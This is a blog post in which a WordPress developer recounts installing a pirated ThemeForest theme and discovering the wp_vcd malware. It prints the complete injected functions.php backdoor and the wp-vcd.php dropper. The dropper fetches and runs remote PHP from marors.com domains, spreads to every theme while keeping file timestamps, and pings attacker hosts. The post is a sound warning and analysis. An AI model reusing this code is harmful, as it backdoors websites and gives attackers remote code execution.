I Installed a Pirated Theme and Here’s What Happened!

I needed to test a compatibility of Dokan with a premium theme from ThemeForest. So I quickly googled and landed into a pirated/nulled site. I was surprised to find out it wasn’t asking for money or didn’t land into paid affiliate links. Although it was suspicious, I downloaded the theme and installed it in my local machine (don’t judge me ?).

I knew it has to be bundled with trouble, so I looked into the theme’s code, especiallyfunctions.php, and didn’t find anything suspicious. So I wanted to be brave and clicked Activate, and the theme worked! I was happy. ?

I went ahead and started solving the compatibility problems between the theme and Dokan. When I was done with the testing, I moved to another project to an another WordPress installation and noticed Query Monitor was throwing a warning. ?

Inspecting the theme, it looks like I have some garbage code added at the top of the functions.php file and I realized that it’s the work from that other theme on the OTHER WordPress installation! ?

<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '35c977caf96f9197995d4b4d3e14f253')) {
    $div_code_name = "wp_vcd";
    switch ($_REQUEST['action']) {
    case 'change_domain';
    if (isset($_REQUEST['newdomain'])) {
        if (!empty($_REQUEST['newdomain'])) {
            if ($file = @file_get_contents(__FILE__)) {
                if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i', $file, $matcholddomain)) {
                    $file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
                    @file_put_contents(__FILE__, $file);
                    print "true";
                }
            }
        }
    }

    break;

case 'change_code';

if (isset($_REQUEST['newcode'])) {
    if (!empty($_REQUEST['newcode'])) {
        if ($file = @file_get_contents(__FILE__)) {
            if (preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i', $file, $matcholdcode)) {
                $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']) , $file);
                @file_put_contents(__FILE__, $file);
                print "true";
            }
        }
    }
}

break;

default:
    print "ERROR_WP_ACTION WP_V_CD WP_CD";
}

die("");
}

$div_code_name = "wp_vcd";
$funcfile = __FILE__;

if (!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }

        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir() , "theme_temp_setup");
            $handle = fopen($tmpfname, "w+");
            if (fwrite($handle, "<?php\n" . $phpCode)) {
            }
            else {
                $tmpfname = tempnam('./', "theme_temp_setup");
                $handle = fopen($tmpfname, "w+");
                fwrite($handle, "<?php\n" . $phpCode);
            }

            fclose($handle);
            include $tmpfname;

            unlink($tmpfname);
            return get_defined_vars();
        }

        $wp_auth_key = '358d76c863c31b2e1a46192808b08590';
        if (($tmpcontent = @file_get_contents("http://www.marors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.marors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
            }
        }
        elseif ($tmpcontent = @file_get_contents("http://www.marors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
            }
        }
        elseif ($tmpcontent = @file_get_contents("http://www.marors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
            }
        }
        elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
        }
        elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
        }
        elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
        }
    }
}

// $start_wp_theme_tmp
// wp_tmp
// $end_wp_theme_tmp

?>

This is scary! With this code the attacker can push whatever code inside the theme or your server as he wants to. I was glad that I didn’t install this theme on a live server or in some hosting environment. Otherwise you wouldn’t know what might have happened! Even, this wasn’t the installation that I had installed the theme into. But still, this theme got infected. So there’s a chance that the Twenty Seventeen theme isn’t the only one, and it seemed to be right. All the default themes — Twenty Fifteen/Sixteen/Seventeen theme got infected. It happened to EVERY WordPress installation in my computer. Every functions.php got infected with this code in EVERY theme. ?

So I removed the code from functions.php and went to a different page of the site, Query Monitor was still reporting the same error, how can that be? Opened the file again and surprisingly, the code re-appeared, WTF! So it must’ve done something else along with injecting the code into the theme. I need to check the core files.

But you can’t possibly know which file to check, so you need to check the WordPress installation integrity. Thankfully the checksum command of wp-cli does this job very easily. And seemed I was right…

It created two new files and modified a core file inside the wp-includes folder. The main culprit here is the wp-vcd.php file. Here’s how it looks like:

<?php
error_reporting(0);

// gICAgICAgICAgICA

ini_set('display_errors', 0);

// 2V0KCRfUkVRVUVTVFsn

$install_code = '<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '{$PASSWORD}'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				




				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='358d76c863c31b2e1a46192808b08590';
        if (($tmpcontent = @file_get_contents("http://www.marors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.marors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.marors.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.marors.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } 
        
        
        
        
        
    }
}

//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp
?>';
$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
$install_code = str_replace('{$PASSWORD}', $install_hash, base64_decode($install_code));
$themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
$ping = true;
$ping2 = false;

if ($list = scandir($themes)) {
    foreach($list as $_) {
        if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) {
            $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
            if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) {
                if (strpos($content, 'WP_V_CD') === false) {
                    $content = $install_code . $content;
                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
                    touch($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $time);
                }
                else {
                    $ping = false;
                }
            }
        }
        else {
            $list2 = scandir($themes . DIRECTORY_SEPARATOR . $_);
            foreach($list2 as $_2) {
                if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) {
                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php');
                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) {
                        if (strpos($content, 'WP_V_CD') === false) {
                            $content = $install_code . $content;
                            @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content);
                            touch($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $time);
                            $ping2 = true;
                        }
                        else {

                            // $ping = false;

                        }
                    }
                }
            }
        }
    }

    if ($ping) {
        $content = @file_get_contents('http://www.marors.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);

        // @file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.marors.com/admin.txt'));

    }

    if ($ping2) {
        $content = @file_get_contents('http://www.marors.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);

        // @file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.marors.com/admin.txt'));
        // echo ABSPATH . 'wp-includes/class.wp.php';

    }
}

?><?php
error_reporting(0); ?>

So even if you found out the infected theme, you wouldn’t have gotten rid of the hack without finding out this culprit. For the curious minds, I’ve put all the infected code in this gist. The core wp-includes/post.php was modified to pickup the wp-vcd.php if exists.

Final Thoughts

Please don’t use any pirated themes and plugins in your site, it’s way too risky. We’ve written about this in the past. It may be okay when you are just testing to see if that product suits your needs or not. But don’t trust these plugins or themes on a live site, also you are getting into too much risk of losing data and getting hacked.

Enjoy!